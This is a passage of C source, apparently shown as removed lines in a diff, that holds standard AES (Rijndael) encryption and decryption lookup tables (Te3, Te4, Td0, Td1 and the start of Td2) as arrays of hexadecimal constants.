0x7b8df67bU, - 0xf20dfff2U, 0x6bbdd66bU, 0x6fb1de6fU, 0xc55491c5U, - 0x30506030U, 0x01030201U, 0x67a9ce67U, 0x2b7d562bU, - 0xfe19e7feU, 0xd762b5d7U, 0xabe64dabU, 0x769aec76U, - 0xca458fcaU, 0x829d1f82U, 0xc94089c9U, 0x7d87fa7dU, - 0xfa15effaU, 0x59ebb259U, 0x47c98e47U, 0xf00bfbf0U, - 0xadec41adU, 0xd467b3d4U, 0xa2fd5fa2U, 0xafea45afU, - 0x9cbf239cU, 0xa4f753a4U, 0x7296e472U, 0xc05b9bc0U, - 0xb7c275b7U, 0xfd1ce1fdU, 0x93ae3d93U, 0x266a4c26U, - 0x365a6c36U, 0x3f417e3fU, 0xf702f5f7U, 0xcc4f83ccU, - 0x345c6834U, 0xa5f451a5U, 0xe534d1e5U, 0xf108f9f1U, - 0x7193e271U, 0xd873abd8U, 0x31536231U, 0x153f2a15U, - 0x040c0804U, 0xc75295c7U, 0x23654623U, 0xc35e9dc3U, - 0x18283018U, 0x96a13796U, 0x050f0a05U, 0x9ab52f9aU, - 0x07090e07U, 0x12362412U, 0x809b1b80U, 0xe23ddfe2U, - 0xeb26cdebU, 0x27694e27U, 0xb2cd7fb2U, 0x759fea75U, - 0x091b1209U, 0x839e1d83U, 0x2c74582cU, 0x1a2e341aU, - 0x1b2d361bU, 0x6eb2dc6eU, 0x5aeeb45aU, 0xa0fb5ba0U, - 0x52f6a452U, 0x3b4d763bU, 0xd661b7d6U, 0xb3ce7db3U, - 0x297b5229U, 0xe33edde3U, 0x2f715e2fU, 0x84971384U, - 0x53f5a653U, 0xd168b9d1U, 0x00000000U, 0xed2cc1edU, - 0x20604020U, 0xfc1fe3fcU, 0xb1c879b1U, 0x5bedb65bU, - 0x6abed46aU, 0xcb468dcbU, 0xbed967beU, 0x394b7239U, - 0x4ade944aU, 0x4cd4984cU, 0x58e8b058U, 0xcf4a85cfU, - 0xd06bbbd0U, 0xef2ac5efU, 0xaae54faaU, 0xfb16edfbU, - 0x43c58643U, 0x4dd79a4dU, 0x33556633U, 0x85941185U, - 0x45cf8a45U, 0xf910e9f9U, 0x02060402U, 0x7f81fe7fU, - 0x50f0a050U, 0x3c44783cU, 0x9fba259fU, 0xa8e34ba8U, - 0x51f3a251U, 0xa3fe5da3U, 0x40c08040U, 0x8f8a058fU, - 0x92ad3f92U, 0x9dbc219dU, 0x38487038U, 0xf504f1f5U, - 0xbcdf63bcU, 0xb6c177b6U, 0xda75afdaU, 0x21634221U, - 0x10302010U, 0xff1ae5ffU, 0xf30efdf3U, 0xd26dbfd2U, - 0xcd4c81cdU, 0x0c14180cU, 0x13352613U, 0xec2fc3ecU, - 0x5fe1be5fU, 0x97a23597U, 0x44cc8844U, 0x17392e17U, - 0xc45793c4U, 0xa7f255a7U, 0x7e82fc7eU, 0x3d477a3dU, - 0x64acc864U, 0x5de7ba5dU, 0x192b3219U, 0x7395e673U, - 0x60a0c060U, 0x81981981U, 0x4fd19e4fU, 0xdc7fa3dcU, - 0x22664422U, 0x2a7e542aU, 0x90ab3b90U, 0x88830b88U, - 0x46ca8c46U, 0xee29c7eeU, 0xb8d36bb8U, 0x143c2814U, - 0xde79a7deU, 0x5ee2bc5eU, 0x0b1d160bU, 0xdb76addbU, - 0xe03bdbe0U, 0x32566432U, 0x3a4e743aU, 0x0a1e140aU, - 0x49db9249U, 0x060a0c06U, 0x246c4824U, 0x5ce4b85cU, - 0xc25d9fc2U, 0xd36ebdd3U, 0xacef43acU, 0x62a6c462U, - 0x91a83991U, 0x95a43195U, 0xe437d3e4U, 0x798bf279U, - 0xe732d5e7U, 0xc8438bc8U, 0x37596e37U, 0x6db7da6dU, - 0x8d8c018dU, 0xd564b1d5U, 0x4ed29c4eU, 0xa9e049a9U, - 0x6cb4d86cU, 0x56faac56U, 0xf407f3f4U, 0xea25cfeaU, - 0x65afca65U, 0x7a8ef47aU, 0xaee947aeU, 0x08181008U, - 0xbad56fbaU, 0x7888f078U, 0x256f4a25U, 0x2e725c2eU, - 0x1c24381cU, 0xa6f157a6U, 0xb4c773b4U, 0xc65197c6U, - 0xe823cbe8U, 0xdd7ca1ddU, 0x749ce874U, 0x1f213e1fU, - 0x4bdd964bU, 0xbddc61bdU, 0x8b860d8bU, 0x8a850f8aU, - 0x7090e070U, 0x3e427c3eU, 0xb5c471b5U, 0x66aacc66U, - 0x48d89048U, 0x03050603U, 0xf601f7f6U, 0x0e121c0eU, - 0x61a3c261U, 0x355f6a35U, 0x57f9ae57U, 0xb9d069b9U, - 0x86911786U, 0xc15899c1U, 0x1d273a1dU, 0x9eb9279eU, - 0xe138d9e1U, 0xf813ebf8U, 0x98b32b98U, 0x11332211U, - 0x69bbd269U, 0xd970a9d9U, 0x8e89078eU, 0x94a73394U, - 0x9bb62d9bU, 0x1e223c1eU, 0x87921587U, 0xe920c9e9U, - 0xce4987ceU, 0x55ffaa55U, 0x28785028U, 0xdf7aa5dfU, - 0x8c8f038cU, 0xa1f859a1U, 0x89800989U, 0x0d171a0dU, - 0xbfda65bfU, 0xe631d7e6U, 0x42c68442U, 0x68b8d068U, - 0x41c38241U, 0x99b02999U, 0x2d775a2dU, 0x0f111e0fU, - 0xb0cb7bb0U, 0x54fca854U, 0xbbd66dbbU, 0x163a2c16U, -}; - -static const unsigned int Te3[256] = -{ - 0x6363a5c6U, 0x7c7c84f8U, 0x777799eeU, 0x7b7b8df6U, - 0xf2f20dffU, 0x6b6bbdd6U, 0x6f6fb1deU, 0xc5c55491U, - 0x30305060U, 0x01010302U, 0x6767a9ceU, 0x2b2b7d56U, - 0xfefe19e7U, 0xd7d762b5U, 0xababe64dU, 0x76769aecU, - 0xcaca458fU, 0x82829d1fU, 0xc9c94089U, 0x7d7d87faU, - 0xfafa15efU, 0x5959ebb2U, 0x4747c98eU, 0xf0f00bfbU, - 0xadadec41U, 0xd4d467b3U, 0xa2a2fd5fU, 0xafafea45U, - 0x9c9cbf23U, 0xa4a4f753U, 0x727296e4U, 0xc0c05b9bU, - 0xb7b7c275U, 0xfdfd1ce1U, 0x9393ae3dU, 0x26266a4cU, - 0x36365a6cU, 0x3f3f417eU, 0xf7f702f5U, 0xcccc4f83U, - 0x34345c68U, 0xa5a5f451U, 0xe5e534d1U, 0xf1f108f9U, - 0x717193e2U, 0xd8d873abU, 0x31315362U, 0x15153f2aU, - 0x04040c08U, 0xc7c75295U, 0x23236546U, 0xc3c35e9dU, - 0x18182830U, 0x9696a137U, 0x05050f0aU, 0x9a9ab52fU, - 0x0707090eU, 0x12123624U, 0x80809b1bU, 0xe2e23ddfU, - 0xebeb26cdU, 0x2727694eU, 0xb2b2cd7fU, 0x75759feaU, - 0x09091b12U, 0x83839e1dU, 0x2c2c7458U, 0x1a1a2e34U, - 0x1b1b2d36U, 0x6e6eb2dcU, 0x5a5aeeb4U, 0xa0a0fb5bU, - 0x5252f6a4U, 0x3b3b4d76U, 0xd6d661b7U, 0xb3b3ce7dU, - 0x29297b52U, 0xe3e33eddU, 0x2f2f715eU, 0x84849713U, - 0x5353f5a6U, 0xd1d168b9U, 0x00000000U, 0xeded2cc1U, - 0x20206040U, 0xfcfc1fe3U, 0xb1b1c879U, 0x5b5bedb6U, - 0x6a6abed4U, 0xcbcb468dU, 0xbebed967U, 0x39394b72U, - 0x4a4ade94U, 0x4c4cd498U, 0x5858e8b0U, 0xcfcf4a85U, - 0xd0d06bbbU, 0xefef2ac5U, 0xaaaae54fU, 0xfbfb16edU, - 0x4343c586U, 0x4d4dd79aU, 0x33335566U, 0x85859411U, - 0x4545cf8aU, 0xf9f910e9U, 0x02020604U, 0x7f7f81feU, - 0x5050f0a0U, 0x3c3c4478U, 0x9f9fba25U, 0xa8a8e34bU, - 0x5151f3a2U, 0xa3a3fe5dU, 0x4040c080U, 0x8f8f8a05U, - 0x9292ad3fU, 0x9d9dbc21U, 0x38384870U, 0xf5f504f1U, - 0xbcbcdf63U, 0xb6b6c177U, 0xdada75afU, 0x21216342U, - 0x10103020U, 0xffff1ae5U, 0xf3f30efdU, 0xd2d26dbfU, - 0xcdcd4c81U, 0x0c0c1418U, 0x13133526U, 0xecec2fc3U, - 0x5f5fe1beU, 0x9797a235U, 0x4444cc88U, 0x1717392eU, - 0xc4c45793U, 0xa7a7f255U, 0x7e7e82fcU, 0x3d3d477aU, - 0x6464acc8U, 0x5d5de7baU, 0x19192b32U, 0x737395e6U, - 0x6060a0c0U, 0x81819819U, 0x4f4fd19eU, 0xdcdc7fa3U, - 0x22226644U, 0x2a2a7e54U, 0x9090ab3bU, 0x8888830bU, - 0x4646ca8cU, 0xeeee29c7U, 0xb8b8d36bU, 0x14143c28U, - 0xdede79a7U, 0x5e5ee2bcU, 0x0b0b1d16U, 0xdbdb76adU, - 0xe0e03bdbU, 0x32325664U, 0x3a3a4e74U, 0x0a0a1e14U, - 0x4949db92U, 0x06060a0cU, 0x24246c48U, 0x5c5ce4b8U, - 0xc2c25d9fU, 0xd3d36ebdU, 0xacacef43U, 0x6262a6c4U, - 0x9191a839U, 0x9595a431U, 0xe4e437d3U, 0x79798bf2U, - 0xe7e732d5U, 0xc8c8438bU, 0x3737596eU, 0x6d6db7daU, - 0x8d8d8c01U, 0xd5d564b1U, 0x4e4ed29cU, 0xa9a9e049U, - 0x6c6cb4d8U, 0x5656faacU, 0xf4f407f3U, 0xeaea25cfU, - 0x6565afcaU, 0x7a7a8ef4U, 0xaeaee947U, 0x08081810U, - 0xbabad56fU, 0x787888f0U, 0x25256f4aU, 0x2e2e725cU, - 0x1c1c2438U, 0xa6a6f157U, 0xb4b4c773U, 0xc6c65197U, - 0xe8e823cbU, 0xdddd7ca1U, 0x74749ce8U, 0x1f1f213eU, - 0x4b4bdd96U, 0xbdbddc61U, 0x8b8b860dU, 0x8a8a850fU, - 0x707090e0U, 0x3e3e427cU, 0xb5b5c471U, 0x6666aaccU, - 0x4848d890U, 0x03030506U, 0xf6f601f7U, 0x0e0e121cU, - 0x6161a3c2U, 0x35355f6aU, 0x5757f9aeU, 0xb9b9d069U, - 0x86869117U, 0xc1c15899U, 0x1d1d273aU, 0x9e9eb927U, - 0xe1e138d9U, 0xf8f813ebU, 0x9898b32bU, 0x11113322U, - 0x6969bbd2U, 0xd9d970a9U, 0x8e8e8907U, 0x9494a733U, - 0x9b9bb62dU, 0x1e1e223cU, 0x87879215U, 0xe9e920c9U, - 0xcece4987U, 0x5555ffaaU, 0x28287850U, 0xdfdf7aa5U, - 0x8c8c8f03U, 0xa1a1f859U, 0x89898009U, 0x0d0d171aU, - 0xbfbfda65U, 0xe6e631d7U, 0x4242c684U, 0x6868b8d0U, - 0x4141c382U, 0x9999b029U, 0x2d2d775aU, 0x0f0f111eU, - 0xb0b0cb7bU, 0x5454fca8U, 0xbbbbd66dU, 0x16163a2cU, -}; - -static const unsigned int Te4[256] = -{ - 0x63636363U, 0x7c7c7c7cU, 0x77777777U, 0x7b7b7b7bU, - 0xf2f2f2f2U, 0x6b6b6b6bU, 0x6f6f6f6fU, 0xc5c5c5c5U, - 0x30303030U, 0x01010101U, 0x67676767U, 0x2b2b2b2bU, - 0xfefefefeU, 0xd7d7d7d7U, 0xababababU, 0x76767676U, - 0xcacacacaU, 0x82828282U, 0xc9c9c9c9U, 0x7d7d7d7dU, - 0xfafafafaU, 0x59595959U, 0x47474747U, 0xf0f0f0f0U, - 0xadadadadU, 0xd4d4d4d4U, 0xa2a2a2a2U, 0xafafafafU, - 0x9c9c9c9cU, 0xa4a4a4a4U, 0x72727272U, 0xc0c0c0c0U, - 0xb7b7b7b7U, 0xfdfdfdfdU, 0x93939393U, 0x26262626U, - 0x36363636U, 0x3f3f3f3fU, 0xf7f7f7f7U, 0xccccccccU, - 0x34343434U, 0xa5a5a5a5U, 0xe5e5e5e5U, 0xf1f1f1f1U, - 0x71717171U, 0xd8d8d8d8U, 0x31313131U, 0x15151515U, - 0x04040404U, 0xc7c7c7c7U, 0x23232323U, 0xc3c3c3c3U, - 0x18181818U, 0x96969696U, 0x05050505U, 0x9a9a9a9aU, - 0x07070707U, 0x12121212U, 0x80808080U, 0xe2e2e2e2U, - 0xebebebebU, 0x27272727U, 0xb2b2b2b2U, 0x75757575U, - 0x09090909U, 0x83838383U, 0x2c2c2c2cU, 0x1a1a1a1aU, - 0x1b1b1b1bU, 0x6e6e6e6eU, 0x5a5a5a5aU, 0xa0a0a0a0U, - 0x52525252U, 0x3b3b3b3bU, 0xd6d6d6d6U, 0xb3b3b3b3U, - 0x29292929U, 0xe3e3e3e3U, 0x2f2f2f2fU, 0x84848484U, - 0x53535353U, 0xd1d1d1d1U, 0x00000000U, 0xededededU, - 0x20202020U, 0xfcfcfcfcU, 0xb1b1b1b1U, 0x5b5b5b5bU, - 0x6a6a6a6aU, 0xcbcbcbcbU, 0xbebebebeU, 0x39393939U, - 0x4a4a4a4aU, 0x4c4c4c4cU, 0x58585858U, 0xcfcfcfcfU, - 0xd0d0d0d0U, 0xefefefefU, 0xaaaaaaaaU, 0xfbfbfbfbU, - 0x43434343U, 0x4d4d4d4dU, 0x33333333U, 0x85858585U, - 0x45454545U, 0xf9f9f9f9U, 0x02020202U, 0x7f7f7f7fU, - 0x50505050U, 0x3c3c3c3cU, 0x9f9f9f9fU, 0xa8a8a8a8U, - 0x51515151U, 0xa3a3a3a3U, 0x40404040U, 0x8f8f8f8fU, - 0x92929292U, 0x9d9d9d9dU, 0x38383838U, 0xf5f5f5f5U, - 0xbcbcbcbcU, 0xb6b6b6b6U, 0xdadadadaU, 0x21212121U, - 0x10101010U, 0xffffffffU, 0xf3f3f3f3U, 0xd2d2d2d2U, - 0xcdcdcdcdU, 0x0c0c0c0cU, 0x13131313U, 0xececececU, - 0x5f5f5f5fU, 0x97979797U, 0x44444444U, 0x17171717U, - 0xc4c4c4c4U, 0xa7a7a7a7U, 0x7e7e7e7eU, 0x3d3d3d3dU, - 0x64646464U, 0x5d5d5d5dU, 0x19191919U, 0x73737373U, - 0x60606060U, 0x81818181U, 0x4f4f4f4fU, 0xdcdcdcdcU, - 0x22222222U, 0x2a2a2a2aU, 0x90909090U, 0x88888888U, - 0x46464646U, 0xeeeeeeeeU, 0xb8b8b8b8U, 0x14141414U, - 0xdedededeU, 0x5e5e5e5eU, 0x0b0b0b0bU, 0xdbdbdbdbU, - 0xe0e0e0e0U, 0x32323232U, 0x3a3a3a3aU, 0x0a0a0a0aU, - 0x49494949U, 0x06060606U, 0x24242424U, 0x5c5c5c5cU, - 0xc2c2c2c2U, 0xd3d3d3d3U, 0xacacacacU, 0x62626262U, - 0x91919191U, 0x95959595U, 0xe4e4e4e4U, 0x79797979U, - 0xe7e7e7e7U, 0xc8c8c8c8U, 0x37373737U, 0x6d6d6d6dU, - 0x8d8d8d8dU, 0xd5d5d5d5U, 0x4e4e4e4eU, 0xa9a9a9a9U, - 0x6c6c6c6cU, 0x56565656U, 0xf4f4f4f4U, 0xeaeaeaeaU, - 0x65656565U, 0x7a7a7a7aU, 0xaeaeaeaeU, 0x08080808U, - 0xbabababaU, 0x78787878U, 0x25252525U, 0x2e2e2e2eU, - 0x1c1c1c1cU, 0xa6a6a6a6U, 0xb4b4b4b4U, 0xc6c6c6c6U, - 0xe8e8e8e8U, 0xddddddddU, 0x74747474U, 0x1f1f1f1fU, - 0x4b4b4b4bU, 0xbdbdbdbdU, 0x8b8b8b8bU, 0x8a8a8a8aU, - 0x70707070U, 0x3e3e3e3eU, 0xb5b5b5b5U, 0x66666666U, - 0x48484848U, 0x03030303U, 0xf6f6f6f6U, 0x0e0e0e0eU, - 0x61616161U, 0x35353535U, 0x57575757U, 0xb9b9b9b9U, - 0x86868686U, 0xc1c1c1c1U, 0x1d1d1d1dU, 0x9e9e9e9eU, - 0xe1e1e1e1U, 0xf8f8f8f8U, 0x98989898U, 0x11111111U, - 0x69696969U, 0xd9d9d9d9U, 0x8e8e8e8eU, 0x94949494U, - 0x9b9b9b9bU, 0x1e1e1e1eU, 0x87878787U, 0xe9e9e9e9U, - 0xcecececeU, 0x55555555U, 0x28282828U, 0xdfdfdfdfU, - 0x8c8c8c8cU, 0xa1a1a1a1U, 0x89898989U, 0x0d0d0d0dU, - 0xbfbfbfbfU, 0xe6e6e6e6U, 0x42424242U, 0x68686868U, - 0x41414141U, 0x99999999U, 0x2d2d2d2dU, 0x0f0f0f0fU, - 0xb0b0b0b0U, 0x54545454U, 0xbbbbbbbbU, 0x16161616U, -}; - -static const unsigned int Td0[256] = -{ - 0x51f4a750U, 0x7e416553U, 0x1a17a4c3U, 0x3a275e96U, - 0x3bab6bcbU, 0x1f9d45f1U, 0xacfa58abU, 0x4be30393U, - 0x2030fa55U, 0xad766df6U, 0x88cc7691U, 0xf5024c25U, - 0x4fe5d7fcU, 0xc52acbd7U, 0x26354480U, 0xb562a38fU, - 0xdeb15a49U, 0x25ba1b67U, 0x45ea0e98U, 0x5dfec0e1U, - 0xc32f7502U, 0x814cf012U, 0x8d4697a3U, 0x6bd3f9c6U, - 0x038f5fe7U, 0x15929c95U, 0xbf6d7aebU, 0x955259daU, - 0xd4be832dU, 0x587421d3U, 0x49e06929U, 0x8ec9c844U, - 0x75c2896aU, 0xf48e7978U, 0x99583e6bU, 0x27b971ddU, - 0xbee14fb6U, 0xf088ad17U, 0xc920ac66U, 0x7dce3ab4U, - 0x63df4a18U, 0xe51a3182U, 0x97513360U, 0x62537f45U, - 0xb16477e0U, 0xbb6bae84U, 0xfe81a01cU, 0xf9082b94U, - 0x70486858U, 0x8f45fd19U, 0x94de6c87U, 0x527bf8b7U, - 0xab73d323U, 0x724b02e2U, 0xe31f8f57U, 0x6655ab2aU, - 0xb2eb2807U, 0x2fb5c203U, 0x86c57b9aU, 0xd33708a5U, - 0x302887f2U, 0x23bfa5b2U, 0x02036abaU, 0xed16825cU, - 0x8acf1c2bU, 0xa779b492U, 0xf307f2f0U, 0x4e69e2a1U, - 0x65daf4cdU, 0x0605bed5U, 0xd134621fU, 0xc4a6fe8aU, - 0x342e539dU, 0xa2f355a0U, 0x058ae132U, 0xa4f6eb75U, - 0x0b83ec39U, 0x4060efaaU, 0x5e719f06U, 0xbd6e1051U, - 0x3e218af9U, 0x96dd063dU, 0xdd3e05aeU, 0x4de6bd46U, - 0x91548db5U, 0x71c45d05U, 0x0406d46fU, 0x605015ffU, - 0x1998fb24U, 0xd6bde997U, 0x894043ccU, 0x67d99e77U, - 0xb0e842bdU, 0x07898b88U, 0xe7195b38U, 0x79c8eedbU, - 0xa17c0a47U, 0x7c420fe9U, 0xf8841ec9U, 0x00000000U, - 0x09808683U, 0x322bed48U, 0x1e1170acU, 0x6c5a724eU, - 0xfd0efffbU, 0x0f853856U, 0x3daed51eU, 0x362d3927U, - 0x0a0fd964U, 0x685ca621U, 0x9b5b54d1U, 0x24362e3aU, - 0x0c0a67b1U, 0x9357e70fU, 0xb4ee96d2U, 0x1b9b919eU, - 0x80c0c54fU, 0x61dc20a2U, 0x5a774b69U, 0x1c121a16U, - 0xe293ba0aU, 0xc0a02ae5U, 0x3c22e043U, 0x121b171dU, - 0x0e090d0bU, 0xf28bc7adU, 0x2db6a8b9U, 0x141ea9c8U, - 0x57f11985U, 0xaf75074cU, 0xee99ddbbU, 0xa37f60fdU, - 0xf701269fU, 0x5c72f5bcU, 0x44663bc5U, 0x5bfb7e34U, - 0x8b432976U, 0xcb23c6dcU, 0xb6edfc68U, 0xb8e4f163U, - 0xd731dccaU, 0x42638510U, 0x13972240U, 0x84c61120U, - 0x854a247dU, 0xd2bb3df8U, 0xaef93211U, 0xc729a16dU, - 0x1d9e2f4bU, 0xdcb230f3U, 0x0d8652ecU, 0x77c1e3d0U, - 0x2bb3166cU, 0xa970b999U, 0x119448faU, 0x47e96422U, - 0xa8fc8cc4U, 0xa0f03f1aU, 0x567d2cd8U, 0x223390efU, - 0x87494ec7U, 0xd938d1c1U, 0x8ccaa2feU, 0x98d40b36U, - 0xa6f581cfU, 0xa57ade28U, 0xdab78e26U, 0x3fadbfa4U, - 0x2c3a9de4U, 0x5078920dU, 0x6a5fcc9bU, 0x547e4662U, - 0xf68d13c2U, 0x90d8b8e8U, 0x2e39f75eU, 0x82c3aff5U, - 0x9f5d80beU, 0x69d0937cU, 0x6fd52da9U, 0xcf2512b3U, - 0xc8ac993bU, 0x10187da7U, 0xe89c636eU, 0xdb3bbb7bU, - 0xcd267809U, 0x6e5918f4U, 0xec9ab701U, 0x834f9aa8U, - 0xe6956e65U, 0xaaffe67eU, 0x21bccf08U, 0xef15e8e6U, - 0xbae79bd9U, 0x4a6f36ceU, 0xea9f09d4U, 0x29b07cd6U, - 0x31a4b2afU, 0x2a3f2331U, 0xc6a59430U, 0x35a266c0U, - 0x744ebc37U, 0xfc82caa6U, 0xe090d0b0U, 0x33a7d815U, - 0xf104984aU, 0x41ecdaf7U, 0x7fcd500eU, 0x1791f62fU, - 0x764dd68dU, 0x43efb04dU, 0xccaa4d54U, 0xe49604dfU, - 0x9ed1b5e3U, 0x4c6a881bU, 0xc12c1fb8U, 0x4665517fU, - 0x9d5eea04U, 0x018c355dU, 0xfa877473U, 0xfb0b412eU, - 0xb3671d5aU, 0x92dbd252U, 0xe9105633U, 0x6dd64713U, - 0x9ad7618cU, 0x37a10c7aU, 0x59f8148eU, 0xeb133c89U, - 0xcea927eeU, 0xb761c935U, 0xe11ce5edU, 0x7a47b13cU, - 0x9cd2df59U, 0x55f2733fU, 0x1814ce79U, 0x73c737bfU, - 0x53f7cdeaU, 0x5ffdaa5bU, 0xdf3d6f14U, 0x7844db86U, - 0xcaaff381U, 0xb968c43eU, 0x3824342cU, 0xc2a3405fU, - 0x161dc372U, 0xbce2250cU, 0x283c498bU, 0xff0d9541U, - 0x39a80171U, 0x080cb3deU, 0xd8b4e49cU, 0x6456c190U, - 0x7bcb8461U, 0xd532b670U, 0x486c5c74U, 0xd0b85742U, -}; - -static const unsigned int Td1[256] = -{ - 0x5051f4a7U, 0x537e4165U, 0xc31a17a4U, 0x963a275eU, - 0xcb3bab6bU, 0xf11f9d45U, 0xabacfa58U, 0x934be303U, - 0x552030faU, 0xf6ad766dU, 0x9188cc76U, 0x25f5024cU, - 0xfc4fe5d7U, 0xd7c52acbU, 0x80263544U, 0x8fb562a3U, - 0x49deb15aU, 0x6725ba1bU, 0x9845ea0eU, 0xe15dfec0U, - 0x02c32f75U, 0x12814cf0U, 0xa38d4697U, 0xc66bd3f9U, - 0xe7038f5fU, 0x9515929cU, 0xebbf6d7aU, 0xda955259U, - 0x2dd4be83U, 0xd3587421U, 0x2949e069U, 0x448ec9c8U, - 0x6a75c289U, 0x78f48e79U, 0x6b99583eU, 0xdd27b971U, - 0xb6bee14fU, 0x17f088adU, 0x66c920acU, 0xb47dce3aU, - 0x1863df4aU, 0x82e51a31U, 0x60975133U, 0x4562537fU, - 0xe0b16477U, 0x84bb6baeU, 0x1cfe81a0U, 0x94f9082bU, - 0x58704868U, 0x198f45fdU, 0x8794de6cU, 0xb7527bf8U, - 0x23ab73d3U, 0xe2724b02U, 0x57e31f8fU, 0x2a6655abU, - 0x07b2eb28U, 0x032fb5c2U, 0x9a86c57bU, 0xa5d33708U, - 0xf2302887U, 0xb223bfa5U, 0xba02036aU, 0x5ced1682U, - 0x2b8acf1cU, 0x92a779b4U, 0xf0f307f2U, 0xa14e69e2U, - 0xcd65daf4U, 0xd50605beU, 0x1fd13462U, 0x8ac4a6feU, - 0x9d342e53U, 0xa0a2f355U, 0x32058ae1U, 0x75a4f6ebU, - 0x390b83ecU, 0xaa4060efU, 0x065e719fU, 0x51bd6e10U, - 0xf93e218aU, 0x3d96dd06U, 0xaedd3e05U, 0x464de6bdU, - 0xb591548dU, 0x0571c45dU, 0x6f0406d4U, 0xff605015U, - 0x241998fbU, 0x97d6bde9U, 0xcc894043U, 0x7767d99eU, - 0xbdb0e842U, 0x8807898bU, 0x38e7195bU, 0xdb79c8eeU, - 0x47a17c0aU, 0xe97c420fU, 0xc9f8841eU, 0x00000000U, - 0x83098086U, 0x48322bedU, 0xac1e1170U, 0x4e6c5a72U, - 0xfbfd0effU, 0x560f8538U, 0x1e3daed5U, 0x27362d39U, - 0x640a0fd9U, 0x21685ca6U, 0xd19b5b54U, 0x3a24362eU, - 0xb10c0a67U, 0x0f9357e7U, 0xd2b4ee96U, 0x9e1b9b91U, - 0x4f80c0c5U, 0xa261dc20U, 0x695a774bU, 0x161c121aU, - 0x0ae293baU, 0xe5c0a02aU, 0x433c22e0U, 0x1d121b17U, - 0x0b0e090dU, 0xadf28bc7U, 0xb92db6a8U, 0xc8141ea9U, - 0x8557f119U, 0x4caf7507U, 0xbbee99ddU, 0xfda37f60U, - 0x9ff70126U, 0xbc5c72f5U, 0xc544663bU, 0x345bfb7eU, - 0x768b4329U, 0xdccb23c6U, 0x68b6edfcU, 0x63b8e4f1U, - 0xcad731dcU, 0x10426385U, 0x40139722U, 0x2084c611U, - 0x7d854a24U, 0xf8d2bb3dU, 0x11aef932U, 0x6dc729a1U, - 0x4b1d9e2fU, 0xf3dcb230U, 0xec0d8652U, 0xd077c1e3U, - 0x6c2bb316U, 0x99a970b9U, 0xfa119448U, 0x2247e964U, - 0xc4a8fc8cU, 0x1aa0f03fU, 0xd8567d2cU, 0xef223390U, - 0xc787494eU, 0xc1d938d1U, 0xfe8ccaa2U, 0x3698d40bU, - 0xcfa6f581U, 0x28a57adeU, 0x26dab78eU, 0xa43fadbfU, - 0xe42c3a9dU, 0x0d507892U, 0x9b6a5fccU, 0x62547e46U, - 0xc2f68d13U, 0xe890d8b8U, 0x5e2e39f7U, 0xf582c3afU, - 0xbe9f5d80U, 0x7c69d093U, 0xa96fd52dU, 0xb3cf2512U, - 0x3bc8ac99U, 0xa710187dU, 0x6ee89c63U, 0x7bdb3bbbU, - 0x09cd2678U, 0xf46e5918U, 0x01ec9ab7U, 0xa8834f9aU, - 0x65e6956eU, 0x7eaaffe6U, 0x0821bccfU, 0xe6ef15e8U, - 0xd9bae79bU, 0xce4a6f36U, 0xd4ea9f09U, 0xd629b07cU, - 0xaf31a4b2U, 0x312a3f23U, 0x30c6a594U, 0xc035a266U, - 0x37744ebcU, 0xa6fc82caU, 0xb0e090d0U, 0x1533a7d8U, - 0x4af10498U, 0xf741ecdaU, 0x0e7fcd50U, 0x2f1791f6U, - 0x8d764dd6U, 0x4d43efb0U, 0x54ccaa4dU, 0xdfe49604U, - 0xe39ed1b5U, 0x1b4c6a88U, 0xb8c12c1fU, 0x7f466551U, - 0x049d5eeaU, 0x5d018c35U, 0x73fa8774U, 0x2efb0b41U, - 0x5ab3671dU, 0x5292dbd2U, 0x33e91056U, 0x136dd647U, - 0x8c9ad761U, 0x7a37a10cU, 0x8e59f814U, 0x89eb133cU, - 0xeecea927U, 0x35b761c9U, 0xede11ce5U, 0x3c7a47b1U, - 0x599cd2dfU, 0x3f55f273U, 0x791814ceU, 0xbf73c737U, - 0xea53f7cdU, 0x5b5ffdaaU, 0x14df3d6fU, 0x867844dbU, - 0x81caaff3U, 0x3eb968c4U, 0x2c382434U, 0x5fc2a340U, - 0x72161dc3U, 0x0cbce225U, 0x8b283c49U, 0x41ff0d95U, - 0x7139a801U, 0xde080cb3U, 0x9cd8b4e4U, 0x906456c1U, - 0x617bcb84U, 0x70d532b6U, 0x74486c5cU, 0x42d0b857U, -}; - -static const unsigned int Td2[256] = -{ - 0xa75051f4U, 0x65537e41U, 0xa4c31a17U, 0x5e963a27U, - 0x6bcb3babU, 0x45f11f9dU, 0x58abacfaU, 0x03934be3U, - 0xfa552030U, 0x6df6ad76U, 0x769188ccU, 0x4c25f502U, - 0xd7fc4fe5U, 0xcbd7c52aU, 0x44802635U, 0xa38fb562U, - 0x5a49deb1U, 0x1b6725baU, 0x0e9845eaU, 0xc0e15dfeU, - 0x7502c32fU, 0xf012814cU, 0x97a38d46U, 0xf9c66bd3U, - 0x5fe7038fU, 0x9c951592U, 0x7aebbf6dU, 0x59da9552U, - 0x832dd4beU, 0x21d35874U, 0x692949e0U, 0xc8448ec9U, - 0x896a75c2U, 0x7978f48eU, 0x3e6b9958U, 0x71dd27b9U, - 0x4fb6bee1U, 0xad17f088U, 0xac66c920U, 0x3ab47dceU, - 0x4a1863dfU, 0x3182e51aU, 0x33609751U, 0x7f456253U, - 0x77e0b164U, 0xae84bb6bU, 0xa01cfe81U, 0x2b94f908U, - 0x68587048U, 0xfd198f45U, 0x6c8794deU, 0xf8b7527bU, - 0xd323ab73U, 0x02e2724bU, 0x8f57e31fU, 0xab2a6655U, - 0x2807b2ebU, 0xc2032fb5U, 0x7b9a86c5U, 0x08a5d337U, - 0x87f23028U, 0xa5b223bfU, 0x6aba0203U, 0x825ced16U, - 0x1c2b8acfU, 0xb492a779U, 0xf2f0f307U, 0xe2a14e69U, - 0xf4cd65daU, 0xbed50605U, 0x621fd134U, 0xfe8ac4a6U, - 0x539d342eU, 0x55a0a2f3U, 0xe132058aU, 0xeb75a4f6U, - 0xec390b83U, 0xefaa4060U, 0x9f065e71U, 0x1051bd6eU, - 0x8af93e21U, 0x063d96ddU, 0x05aedd3eU, 0xbd464de6U, - 0x8db59154U, 0x5d0571c4U, 0xd46f0406U, 0x15ff6050U, - 0xfb241998U, 0xe997d6bdU, 0x43cc8940U, 0x9e7767d9U, - 0x42bdb0e8U, 0x8b880789U, 0x5b38e719U, 0xeedb79c8U, - 0x0a47a17cU, 0x0fe97c42U, 0x1ec9f884U, 0x00000000U, - 0x86830980U, 0xed48322bU, 0x70ac1e11U, 0x724e6c5aU, - 0xfffbfd0eU, 0x38560f85U, 0xd51e3daeU, 0x3927362dU, - 0xd9640a0fU, 0xa621685cU, 0x54d19b5bU, 